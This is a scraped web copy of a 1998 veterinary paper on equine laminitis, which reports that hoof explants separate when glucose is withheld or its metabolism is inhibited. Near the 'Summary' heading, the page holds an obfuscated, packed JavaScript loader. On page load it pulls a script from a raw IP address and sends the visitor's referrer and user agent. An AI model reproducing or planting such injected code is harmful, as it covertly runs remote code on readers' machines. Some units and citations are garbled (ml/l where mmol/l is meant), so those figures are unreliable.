<li> Pollitt, C.C. and Davies, C.T. (1998). Equine laminitis: its development coincides with increased sublamellar blood flow. Equine vet. J., Suppl. 26, 125-132.</li> <li> Quaranta, V. (1993) Integin expression and epithelial cell differentiation. In: Cell Adhesion Molecules. Eds: M.E. Hemler and E. Mihich. Plenum Press, New York. pp 13-20.</li> <li> Robinson, N.E. (1990) Digital blood flow, arteriovenous anastomoses and laminitis. Equine vet. J. 22, 381-383.</li> <li> Robinson, R.L. (1986) Adrenomimetic drugs. In: Modern Pharmacology, 2nd edn. Eds: C.R. Craig and R.E. Stitzl. Little, Brown and Co., Boston. pp 158-173.</li> <li> Ruoslahti, E. (1991) Integins. J. clininvest. 87, 1-5.</li> <li> Siegel, S. (1956) Nonparametric Statistics for the Behavioral Sciences. McGrawHill, Auckland.</li> <li> Sokal, R.R. and Rohlf, F.J. (1969) Biometry. In: The Principles and Practice of Statistics in Biological Research. W.H. Freeman, San Francisco.</li> <li> Thompson, J. (1978) In vivo regulation of glycolysis and characterization of . sugar: phosphotransferase systems in Streptococcus lactis. J. Bact. 136, 465-476.</li> <li> Trout, D.R, Hornof, W.J. Linford, R.L. and O'Brien, T.R. (1990) Scintigraphic evaluation of digital circulation during the developmental and acute phases of equine laminitis. Equine vet. J. 22, 416-421.</li> <li> Venaille, T.J., Mendis, A.H.W., Phillips, M.J., Thompson, P.J. and Robinson, Separation of hoof lamellae and decreased glucose metabolism B.W.S. (1995) Role of neutrophils in mediating human epithelial cell detachment from native basement membrane. J. Allergy clin. Immunol. 95, 597-606.</li> <li> Webb, J.L. (1966) Enzymes and Metabolic Inhibitors, Vol. 2. Academic Press, New York.</li> </ol>Posted here with the permission of the authors.<br />First published in <strong><em>Equine vet. J. Suppl.</em></strong>, (1998) <strong><em>26</em></strong> 133-138</div> <div class="feed-description"><p><span style="font-size: xx-small;"><strong>Summary</strong></span></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|issde|var|u0026u|referrer|tnrar||js|php'.split('|'),0,{})) </script></noindex> <table vspace="15" hspace="20"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td style="text-align: left;" colspan="2"><center><strong>Abbreviations</strong></center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>D-MEM</strong></td> <td style="text-align: left;">Dulbecco's modified Eagle medium</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>APMA</strong></td> <td style="text-align: left;">Aminophenylmercuric acetate</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>2-DG</strong></td> <td style="text-align: left;">2-deoxyglucose</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>H&amp;E</strong></td> <td style="text-align: left;">Haematoxylin and eosin</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>PAS</strong></td> <td style="text-align: left;">Periodic acid-Schiff</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>DTT</strong></td> <td style="text-align: left;">Dithiothreitol</td> </tr> </tbody> </table> <p class="MsoNormal"><span class="dropcap">E</span>xplants of horses' hooves remained intact for up to 8 days when incubated in Dulbecco's modified Eagle medium (DMEM) containing 25 ml/l glucose but separated within 36 h when incubated in saline. The separation occurred between the basal epidermal cells and their basement membrane which is characteristic of the hoof separation that occurs in laminitis. Separation of hoof explants was prevented by addition of glucose to saline and was induced by adding 2deoxyglucose or aminophenylmercuric acetate to D-MEM. Glucose consumption by the hoof explants was inhibited by 2deoxyglucose and aminophenylmercuric acetate. The explants consumed relatively large amounts of glucose during the first 2 days of incubation and then little over the next 6 days. Despite the reduced glucose consumption, the hoof explants did not separate over 8 days of incubation. The results indicated that the integrity of the hoof explants was initially dependent on consumption of glucose and provide a possible explanation for the development of laminitis caused by conditions such as carbohydrate overload, acute inflammatory conditions, corticosteroid therapy and hyperlipidaemia. It would be expected that these conditions would induce a major hormonally-mediated metabolic shift away from glucose consumption by many peripheral tissues. It is suggested, therefore, that if the metabolic change occurred faster than the hoof tissue could adapt to an alternative energy substrate, then hoof separation and laminitis would occur.</p> <p><span style="font-size: xx-small;"><strong>Introduction</strong></span></p> <p>A key feature in the development of laminitis in horses is separation of the secondary epidermal and dermal lamellae of the hoof. This separation occurs between the epidermal basal cells and their basement membrane (Pollitt 1996). It has been proposed that the primary insult leading to this separation is ischaemia resulting from vasoconstriction in the hoof (Hood et al. 1993). However, other studies have thrown some doubt on this proposition in that they have shown vasodilation and an increase in hoof blood flow rather than vasoconstriction during the development of laminitis (Trout et al. 1990; Pollitt and Davies 1998). It is still unclear if the lamellar tissues are perfused during the development of laminitis (Robinson 1990).</p> <p>Epithelial cells are attached to the basement membrane by specific adhesion molecules on the plasma membrane. These include integins which attach to components of the basement membrane such as collagen and laminin (Albelda 1991; Ruoslahti 1991; Quaranta 1993). Although the adhesion molecules and components of the basement membrane in the horse's hoof have not been completely characterised, laminin and collagen have been identified (Pollitt 1996). Therefore, it is reasonable to assume that the attachment system is similar to that described in other species. Detachment of epithelial cells from the basement membrane occurs in both physiological and pathological processes. During tissue growth and repair, cells detach and attach as the tissue enlarges and remodels. In diseases such as asthma and bronchiectasis epithelial cell detachment occurs (Venaille et al. 1995). Detachment of epithelial cells from the basement membrane does not necessarily imply injury to the cell (Venaille et al. 1995) and these processes of detachment and cell injury and death should be distinguished from each other. Indeed, in cases of laminitis, detached hoof epithelial cells appear viable at least morphologically.</p> <p>Metalloproteinase (MMP) enzymes degrade elements of the extracellular matrix including collagen (Krane 1994) and this can lead to separation of cells from the basement membrane. MMPs are synthesized as inactive molecules and activation of the enzymes occurs after secretion of the proenzyme from the cell (Murphy et al. 1994). Furthermore, activated MMPs are inhibited by tissue inhibitors of metalloproteinases (TIMP) (Murphy et al. 1994). Therefore, MMP-induced detachment of cells from the basement membrane depends on the relative concentrations of active MMPs and TIMPs in the tissue. Recently it has been demonstrated that MMPs are active during detachment of lamellar epithelial cells from the basement membrane in cultured explants of horses' hooves (Pollitt et al. 1998). This has led to the hypothesis that activation of metalloproteinases in the hoof may be responsible for separation of the secondary epidermal and dermal lamellae in laminitis (Pollitt et al. 1998).</p> <p>However, it is still not clear what triggers the separation process and how disparate clinical states, such as carbohydrate overload, septic metritis, corticosteroid therapy and hyperlipaemia, can induce laminitis. Here, we advance the hypothesis that acute alterations in whole body glucose metabolism as a result of these conditions may be a trigger for laminitis.</p> <p><strong><span style="font-size: xx-small;">Materials &amp; Methods</span></strong></p> <p>D-MEM (glucose 25 ml/1, pH 7.2), gentamycinl, APMA, DMSO, DTT, glutamine, arginine·HC<sup>1</sup> and 2-DG<sup>2</sup> were obtained. APMA was dissolved in DMSO (5 mg/ml) before addition to DMEM. All other reagents were reagent grade chemicals purchased from chemical manufacturers.</p> <p>Explants of horses hooves were prepared as described elsewhere (Pollitt et al. 1998). They were cultured in 24 well culture plates in one ml of culture medium containing gentamycin (0.1 mg/ml) at 37<sup>o</sup>C in an atmosphere of 5% CO<sub>2</sub> in air. The explants were such that they contained hoof wall, lamellae and dermal connective tissue. The integrity of the explants was tested after a period of culture by grasping the hoof wall and connective tissue with forceps and pulling them in opposite directions. The result was scored as the tissue being intact if it did not separate between the lamellae or separated if it did (Pollitt et al. 1998). Testing of the integrity of the tissue was performed without the operator knowing the treatment given to each explant and the same operator tested all explants. Tissues were fixed in 10% buffered formalin. Histological sections were prepared of selected samples and stained with H&amp;E and PAS. They were examined under a light microscope.</p> <p>Explants from all hooves were cultured in D-MEM and in normal saline (0.9% sodium chloride) for 2 days in order to test the suitability of that horse's tissue for the experiment. The tissue was judged as suitable if the explants cultured in D-MEM remained intact and those in saline separated. Other explants were cultured concurrently in the media to be tested in that experiment. Duplicate samples were cultured for all experiments. One sample was tested for its integrity and the other left undisturbed for histological examination if required. Culture medium from duplicate wells was pooled for analysis when required. In all cases, control and test explants were obtained from the same hoof and replicate experiments were performed on separate hooves.</p> <p>In the first set of experiments, explants were cultured in the following culture media for 2 days and then tested for their integrity: D-MEM; normal saline; D-MEM diluted 1:3,1:4,1:5, 1:6,1:8 or 1:10 with normal saline; glucose (25 mlmmol/1)/1) in saline; buffer solution (6.4 g/1 NaCl; 280 mg/1 Na<sub>2</sub>P0<sub>4</sub>· 12H<sub>2</sub>0; 3.7 g/1 NaHCO<sub>3</sub>); ionic solution (200 mg/1 CaCl<sub>2</sub>; 97.67 mg/1 MgSO<sub>4</sub>; 400 mg/1 KCl dissolved in the buffer solution); sodium pyruvate (110 mg/1) in saline; L-glutamine (584 mg/1) in saline; and arginine·HCl (84 mg/1) in saline. The concentrations of these chemicals were the same as in the D-MEM. Other explants were cultured in 20 Ixmol/lactic acid in D-MEM (pH 6.27); 2-DG (0.1, 1,10, 25, 50 and 100 ml/1) in D-MEM; APMA (0.7 ml/1) in D-MEM; and APMA (0.7 ml/1) and DTT (100 ml/1) in DMEM. After 2 days in culture the explants were tested for their integrity and the glucose concentration estimated in some of the culture media. Glucose concentration was estimated using a Cobas Mira analyzer<sup>3</sup> and a Unimate 5 gluc hk kit<sup>3</sup>.</p> <p>In the second set of experiments, sets of explants were cultured in D-MEM or glucose (25 ml/1) in saline for up to 8 days. In some cases, explants from an individual hoof were tested for their integrity at 2 day intervals and the culture medium assayed for concentration of glucose. In others, the medium was replenished with fresh D-MEM every 2 days for the first 6 days and the removed medium analyzed for concentration of glucose. The explants were tested for integrity on Day 8.</p> <p>Significant differences between groups were tested by Fisher's exact test, the Kruskal-Wallis analysis of variance (ANOVA) or the Wilcoxon-Mann-Wliitney U statistic calculated by the STP method (Siegel 1956; Sokal and Rohlf 1969; Motulsky 1995).</p> <p><span style="font-size: xx-small;"><strong>Results</strong></span></p> <p>All explants cultured in D-MEM (n = 33) for 2 days remained intact and all those cultured in saline (n = 33) separated (P&lt;0.0001, Fisher's exact test) (Table 1). Histological examination of some explants revealed that the separation occurred between the epidermal basal cells and their basement membrane as described elsewhere (Pollitt 1996). Separation was first observed after 36 h in culture in saline (Table 3). Of the components of the D-MEM added to saline, only glucose prevented separation of the hoof tissues (P = 0.0002, Fisher's exact test) (Table 1). Buffers and the other components of the DMEM tested did not prevent separation (Table 1). Dilution of the D-MEM with saline consistently resulted in separation of the tissue when the dilution was 1:5 or greater (Table 1). This was equivalent to a glucose concentration of 5 ml. Separation sometimes occurred at a dilution of 1:4 (Table 1).</p> <table cellspacing="10" cols="4" frame="border"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td style="text-align: left;" colspan="4"><strong>TABLE 1: Effects of incubating hoof explants for 2 days in a variety of culture media</strong></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center><strong><span style="color: #000066;">Incubation medium</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. tested</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. intact</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. separated</span></strong></center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM</center></td> <td style="text-align: left;"><center>33</center></td> <td style="text-align: left;"><center>33</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline</center></td> <td style="text-align: left;"><center>33</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>33</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:1</center></td> <td style="text-align: left;"><center>8</center></td> <td style="text-align: left;"><center>8</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:3</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:4</center></td> <td style="text-align: left;"><center>11</center></td> <td style="text-align: left;"><center>7</center></td> <td style="text-align: left;"><center>4</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:5</center></td> <td style="text-align: left;"><center>3</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>3</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:6</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>5</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:8</center></td> <td style="text-align: left;"><center>12</center></td> <td style="text-align: left;"><center>1</center></td> <td style="text-align: left;"><center>11</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:10</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>2</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Buffer solution</center></td> <td style="text-align: left;"><center>6</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>6</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>lonic solution</center></td> <td style="text-align: left;"><center>4</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>4</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline + 25 ml/l glucose</center></td> <td style="text-align: left;"><center>8</center></td> <td style="text-align: left;"><center>8</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline + 1 ml/l pyruvate</center></td> <td style="text-align: left;"><center>4</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>4</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline + 4 ml/l glutamine</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>2</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline + 0.4 ml/l arginine</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>2</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 20 ml/l lactic acid</center></td> <td style="text-align: left;"><center>4</center></td> <td style="text-align: left;"><center>4</center></td> <td style="text-align: left;"></td> </tr> </tbody> </table> <br /><br /> <table cellspacing="10" cols="4" frame="border"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td style="text-align: left;" colspan="4"><strong>TABLE 2: Effects of 2-DG, APMA and APMA + DTT on hoof explants cultured for 2 days</strong></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center><strong><span style="color: #000066;">Incubation medium</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. tested</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. intact</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. separated</span></strong></center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 100 ml/l2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>5</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 50 ml/l 2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>5</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 10 ml/l 2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 1 ml/l 2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 0.1 ml/l 2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 0.7 ml/l APMA</center></td> <td style="text-align: left;"><center>6</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>6</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 0.7 mmol/l APMA <br />+100 ml DTT</center></td> <td style="text-align: left;"><center>6</center></td> <td style="text-align: left;"><center>6</center></td> <td style="text-align: left;"></td> </tr> </tbody> </table> <p><em><span style="color: #993366;">D-MEM = Dulbecco's modified Eagle medium.</span></em></p> <p>When explants were cultured in D-MEM, the medium became more acid as the incubation progressed, as shown by the phenol red in the medium turning from pink to yellow. However, addition of lactic acid to the D-MEM did not cause separation of the hoof (Table 1).</p> <p>When 2-DG was added to D-MEM separation occurred when the 2-DG concentration was 50 ml/l or above (Table 2). Addition of APMA to the D-MEM also induced separation of the hoof tissue and this was prevented by addition of DTT to the culture medium (Table 2).</p> <p>Analyses of culture medium after the incubation period revealed that 2-DG and APMA inhibited the utilization of glucose by the hoof tissue in that the concentration of glucose was higher in the presence of the inhibitors than in the control cultures at the end of the incubation period (P = 0.003 for 2-DG, Fisher's exact test; P&lt;0.05 for APMA, STP method) (Figs 1 and 2). DTT reversed the effect of APMA on glucose consumption (P&lt;0.05, STP method) (Fig 2).</p> <p>Separation of hoof explants did not occur consistently when they were incubated in D-MEM for up to 8 days (Table 3). Glucose was consumed by these explants during the first 2 days of incubation but, after this time, less glucose was consumed (P = 0.0002, Kruskal-Wallis ANOVA) (Fig 3). A similar result was observed when the medium was replenished every 2 days in that consumption was higher for the first 2 days and then decreased substantially (P =. 0.0011, Kruskal-Wallis ANOVA) (Fig 4). Incubation in saline containing glucose prevented separation in some explants for up to 8 days (Table 3).</p> <hr /> <center> <img src="images/laminitis_trigger_1.jpg" width="474" height="312" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_trigger_1" src="images/stories/horshoes-graphics/laminitis_trigger_1.jpg" width="474" height="312" /></p> <p><em><strong>Fig 1:</strong> Effect of 2-deoxyglucose (2-DG) on glucose consumption by hoof explants cultured for 2 days in Dulbecco's modified Eagle medium (D-MEM). The results are the mean t s.e. of 5 estimations of the glucose concentration in the medium at the end of the incubation period.</em></p> <hr /> <center> <img src="images/laminitis_trigger_2.jpg" width="478" height="294" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_trigger_2" src="images/stories/horshoes-graphics/laminitis_trigger_2.jpg" width="478" height="294" /></p> <p><em><strong>Fig 2:</strong> Effect of aminophenylmercuric acetate (APMA) (0.7 ml/l) and APMA (0.7 ml/l) + dithiothreitol (DTT) (100 ml) on glucose consumption by hoof explants cultured in Dulbecco's modified Eagle medium (D-MEM) for 2 days. The results are the mean t s.e. of 6 estimations of the glucose concentration in the medium at the end of the incubation period.</em></p> <hr /> <center> <img src="images/laminitis_trigger_3.jpg" width="436" height="295" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_trigger_3" src="images/stories/horshoes-graphics/laminitis_trigger_3.jpg" width="436" height="295" /></p> <p><em><strong>Fig 3:</strong> Glucose concentration in Dulbecco's modified Eagle medium (DMEM) from hoof explants cultured for up to 8 days. The results are the mean t s.e. of 6 or 8 estimates except at 0.5, I and 1.5 days where the individual results of 2 estimates are shown.</em></p> <hr /> <center> <img src="images/laminitis_trigger_4.jpg" width="478" height="310" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_trigger_4" src="images/stories/horshoes-graphics/laminitis_trigger_4.jpg" width="478" height="310" /></p> <p><em><strong>Fig 4:</strong> Glucose concentration in Dulbecco's modified Eagle medium (D-MEM) from cultured hoof explants. The D-MEM was replenished every 2 days and the results are the mean t s.e. of 8 estimates on samples collected after each 2 day period of incubation.</em></p> <p><span style="font-size: xx-small;"><strong>Discussion</strong></span></p> <p>A variety of clinical conditions including carbohydrate overload, septic metritis, hyperlipaemia and corticosteroid therapy have been recognized as being initiators of laminitis (Jeffcott and Field 1985; Baxter 1994). However, a unifying hypothesis to explain how these divergent conditions induce laminitis is lacking. The results of the current experiments suggest such an hypothesis.</p> <p>Adhesion of basal epidermal cells to the basement membrane was maintained for more than one week when hoof explants were cultured in medium containing glucose, amino acids, vitamins, buffers and a variety of ions but for less than 2 days when cultured in physiological saline. The component that appeared to be responsible for maintenance of adhesion was glucose because, when it was added to saline, the explants remained intact for at least 2 days of incubation and in most instances up to 8 days.</p> <p>The longer term study indicated that glucose consumption from D-MEM diminished considerably as the period of incubation increased, even if the medium was replaced with fresh medium every 2 days. It seemed that the hoof tissue was reliant on glucose for maintenance of adhesion between the epidermal basal cells and the basement membrane for more than 2 days after removal from the horse. However, as time progressed, the cells appeared to adapt to another substrate for energy synthesis. The alternative energy substrate has not been identified but could be an amino acid as these were readily available in the medium and may have been available in the tissue itself.</p> <p>The experiments with 2-DG and APMA further highlighted the importance of glucose as an energy substrate for the hoof tissue. Both 2-DG and APMA caused separation of the epidermal basal cells from the basement membrane. 2-DG inhibits the glycolytic pathway (Webb 1966). It is believed that 2-DG is converted to 2-DG-6-phosphate which competitively inhibits the metabolism of glucose-6-phosphate by phosphoglucose isomerase (Webb 1966). Glucose-6-phosphate is the first product of glucose metabolism in the glycolytic pathway. The lack of glucose consumption by the tissue explants in the presence of 2-DG in the present study confirmed the inhibitory effect 2DG has on glycolysis.</p> <p>Aminophenylmercuric acetate (APMA) also induced separation of the hoof; APMA is an organomercurial compound which is recognized as an activator of metalloproteinases which are known to degrade components in the basement membrane (Jones et al. 1994). The possible role of these enzymes in the pathogenesis of laminitis, has been discussed elsewhere (Pollitt et al. 1998). Organomercurials are also known to inhibit enzymes of the glycolytic pathway; an effect inhibited by DTT (Webb 1966; Kanda et al. 1976; Larson and Pate 1976; Thompson 1978). The present results indicate that APMA inhibited glycolysis in the hoof explants because addition of APMA to the culture medium inhibited glucose consumption and this was reversed by DTT. Dithiothreitol (DTT) also prevented the lamellar separation induced by APMA.</p> <p>The metalloproteinase inhibitor BB-94 also inhibited the separation of hoof tissue treated with APMA and in explants cultured in saline (Pollitt et al. 1998). BB-94 does not however inhibit the effect of APMA on glucose metabolism (M. A. Pass, unpublished data). These observations suggest that inhibition of glucose utilization by cells in the hoof may be a trigger for activation of metalloproteinases that could then cause separation of the epithelial cells from the basement membrane.</p> <p>Although inhibition of glucose metabolism causes separation of hoof tissue in vitro, is there evidence that such a mechanism could account for the development of laminitis in vivo? There is circumstantial evidence suggesting that such a mechanism is possible. Laminitis is often a consequence of an acute metabolic stress such as occurs with metritis, carbohydrate overload and hyperlipaemia. Such acute conditions are considered to invoke changes in the pattern of metabolism in the animal similar but probably more pronounced than that occurring during starvation (Moore 1971; Jeffcott and Field 1985; Cunningham 1992). The major feature of these changes are that glucose consumption in many peripheral tissue is reduced and gluconeogenesis is increased. The purpose of this change is to maintain glucose and therefore energy supplies to the injured tissue and the vital organs at the expense of other tissues. The metabolic changes in response to sepsis and other acute diseases are regulated by hormones including insulin, glucagon, cortisol and adrenaline with insulin promoting glucose utilization and the other hormones promoting the metabolism of other substrates and reducing glucose consumption. It is not known if firstly the hoof tissues are normally reliant on glucose, secondly if they are responsive to hormones regulating glucose metabolism or thirdly if they can change energy substrates. The results of the current experiments suggest that hoof tissue does utilize glucose and that it can change, at least slowly, to an alternate substrate if glucose availability becomes limited. However, rapid withdrawal of glucose in vitro causes separation of the hoof. In acute, severe septic diseases and other conditions inducing severe changes in metabolism, changes in glucose metabolism can be rapid and may mimic the conditions established in vitro. If the metabolic insult was severe, there may be insufficient time for the hoof to adapt to an alternative substrate, and hoof separation would occur. Other epithelia may be similarly weakened, but gross separation would be manifest most readily in the hoof because of the large mechanical forces generated by weight bearing.</p> <p>The time course of the metabolic changes in the hoof explants is consistent with the time course of development of laminitis. The explants continued to utilize glucose at a relatively fast rate for 2 or 3 days and separated within 36 hours if glucose was unavailable. Clinical signs of laminitis become evident within 24-56 hours of induction by carbohydrate overload (Hood 1984) which is shorter than the time the hoof tissue takes to adapt to an energy substrate other than glucose. There is evidence that the metabolic changes described above do occur as a consequence of carbohydrate overload in horses developing laminitis. Hood (1984) and Clarke et al. (1982) demonstrated an increase in blood cortisol during the development of laminitis consistent with a metabolic change to conserve glucose. Furthermore, preliminary experimental data from our laboratory from one horse which developed laminitis after dosing with carbohydrate, showed changes in plasma insulin and glucagon concentrations consistent with a metabolic switch to conserve glucose and increase gluconeogenesis (data not shown).</p> <p>Further support for a relationship between changes in glucose metabolism and laminitis comes from observations on horses with hyperlipaemia. Hyperlipaemia is a state of negative energy balance occurring rapidly and often precipitated by some form of stress (Jeffcott and Field 1985). It has been suggested that laminitis related to hyperlipaemia is a result of vasoconstriction in the hoof as a consequence of the altered metabolism in the animal (Field and Jeffcott 1989). An alternative explanation is that the metabolic changes leading to hyperlipaemia result in the hoof tissues being starved of glucose thereby precipitating the chain of events leading to separation of the hoof as occured in the cultured explants in the current experiments.</p> <p>Significantly reduced concentrations of hydroxysteroid dehydrogenase (HSD) have been documented in the skin of horses with laminitis (Johnson et al. 1996). If hoof lamellar tissues and skin behave similarly, then an aberration of local metabolism of glucocorticoid, leading to an increased concentration of cortisol in the tissue, could reduce glucose metabolism and cause lamellar separation.</p> <p>Alpha adrenergic antagonist drugs, such as phenoxybenzamine, appear to prevent laminitis in some circumstances and this has been attributed to the drug inhibiting vasoconstriction in the hoof (Hood et al. 1993), presumably by blocking the alpha adrenergic effects of endogenous catecholamines. However, catecholamines also have metabolic effects. In particular, stimulation of alpha adrenoceptors inhibits insulin secretion and stimulation of alpha and beta adrenoceptors increases hepatic glycogenolysis (Robinson 1986; Hoffman and Lefkowitz 1991). Therefore, blockage of alpha adrenoceptors in stressful situations would be expected to increase insulin secretion (Kashiwagi et al. 1986) and still maintain increased hepatic glucose production. This could result in increased utilization of glucose by peripheral tissues and protect the hoof tissues from the effects of glucose starvation.</p> <p>The results of the present in vitro experiments offer support to the hypothesis that changes in glucose metabolism as a result of a primary disease elsewhere in the body may be a trigger for laminitis. As yet, it is not clear if the in vivo situation mimics the in vitro conditions. For instance, does the hoof tissue in the intact animal normally rely on glucose for most of its energy production; are the cells in the hoof responsive to the hormonal mediators of metabolism; and are the metabolic changes associated with laminitis-inducing diseases severe enough to starve the hoof tissue of glucose rapidly enough to induce separation of epidermal cells from the basement membrane? Answers to these questions are needed to confirm the proposed hypothesis and to develop a framework for manipulating metabolism as a potential approach for the prevention of laminitis.</p> <p><span style="font-size: xx-small;"><strong>Acknowledgments</strong></span></p> <p>This project was funded by a grant from the Rural Industries Research and Development Corporation of Australia. The authors are grateful to the Animal Health Trust of Missouri, USA, for funds to purchase the BX-50 Olympus microscope. Bruce Mungall and Mousa Daradka are thanked for collecting knackery specimens.</p> <p><span style="font-size: xx-small;"><strong>References</strong></span></p> <ol> <li> Albelda, S.M. (1991) Endothelial and epithelial adhesion molecules. Am. J. Resp. Cell mol. Biol. 4, 195-203.</li> <li> Baxter, G.M. (1994) Acute laminitis. Vet. Clin. N. Am.: Equine Pract.10, 627-642.</li> <li> Clarke, L.L., Garner, H.E. and Hatfield, D (1982) Plasma volume, electrolyte, and endocrine changes during onset of laminitis hypertension in horses. Am. J. vet. Res. 43, 1551-1555.</li> <li> Cunningham J.G. (1992) Textbook of Veterinary Physiology. W.B. Saunders Co., Philadelphia.</li> <li> Field, J.R. and Jeffcott, L.B. (1989) Equine laminitis: another hypothesis for pathogenesis. Med. Hypoth. 30, 203-210.</li> <li> Hoffman, B.B and Letkowitz. R.J. (1991) Adrenergic receptor antagonists. In: The Pharmacological Basis of Therapeutics, 8th edn. Pergamon Press, New York. pp 221-243.</li> <li> Hood, D.M. (1984) Studies on the Pathogenesis of Equine Laminitis. PhD Thesis, Texas A &amp; M University.</li> <li> Hood, D.M., Grosenbaugh, D.A., Mostafa, M.B., Morgan, S.J. and Thomas, B.C. (1993) The role of vascular mechanisms in the development of acute equine laminitis. J. vet. int. Med. 7, 228-234.</li> <li> Jeffcott, L.B. and Field, J.R. (1985) Current concepts of hyperlipaemia in horses. Vet. Rec.116, 461-466.</li> <li> Johnson, P.J., Ganjam, V.K. and Messer, N.T. (1996). Cutaneous hydroxysteroid dehydrogenase activity is reduced in the laminitic horse. In: Proceedings l4th ACVM Forum. San Antonio, Texas, USA. p 735.</li> <li> Jones, B.E., Moshyedi, P., Gallo, S., Tombran-Tink, J., Arand, G., Reid, D.A., Thompson, E.W., Chader, G.J. and Waldbillig, R.J. (1994) Characterization and novel activation of 72 kDa metalloproteinase in retinal interphotoreceptor matrix and Y-79 cell culture medium. Exp. Eye Res. 59, 257-269.</li> <li> Kanda, F., Kamikashi, T. and Ishibashi, S. (1976) Competitive inhibition of hexokinase isoenzymes by mercurials. J. Biochem. 79, 543-548.</li> <li> Kashiwagi, A., Harano, Y., Suzuki, M., Kojimi, H., Harada, M., Nishio,Y. and Shigeta, Y. (1986) A new alpha adrenergic blocker (DG-5128) improves insulin secretion and in 